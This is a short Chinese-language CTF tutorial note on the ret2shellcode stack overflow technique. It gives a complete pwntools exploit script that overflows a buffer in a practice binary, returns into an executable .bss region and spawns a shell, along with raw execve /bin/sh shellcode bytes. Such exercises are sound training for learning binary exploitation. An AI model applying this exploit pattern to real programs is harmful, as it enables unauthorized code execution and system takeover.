1.ret2shellcode
,即控制程序执行shellcode
代码。shellcode
指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的shell
2.在程序没有开启任何权限的时候,我们可以利用shellcode,进行获取我们的shell
3.输入数据然后拷贝到buf2
的地方,要是buf2
具有可执行权限,我们这一将shellcode
放入,然后读取buf2
处的shellcode
strncpy(buf2, (const char *)&v4, 0x64u);
思考
1.我们可以先将数据先传入,然后ret
到我们数据的地方
2.先填充垃圾,然后将ret
构造成我们栈的开始位置,重新开始输入shellcode
(衍生一下,ret = 刷新环境地址
)
3.结合vmmap
查看我们的bss
段是不是具有rxw
权限
from pwn import*
p = process('./ret2shellcode')
#shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
shellcode = asm(shellcraft.sh()) ##获取shellcode
bss_addr = 0x804a080
payload = shellcode.ljust(112, 'A') #112 = 108 + 4(rbp)
payload += p32(bss_addr)
p.sendline(payload)
p.interactive()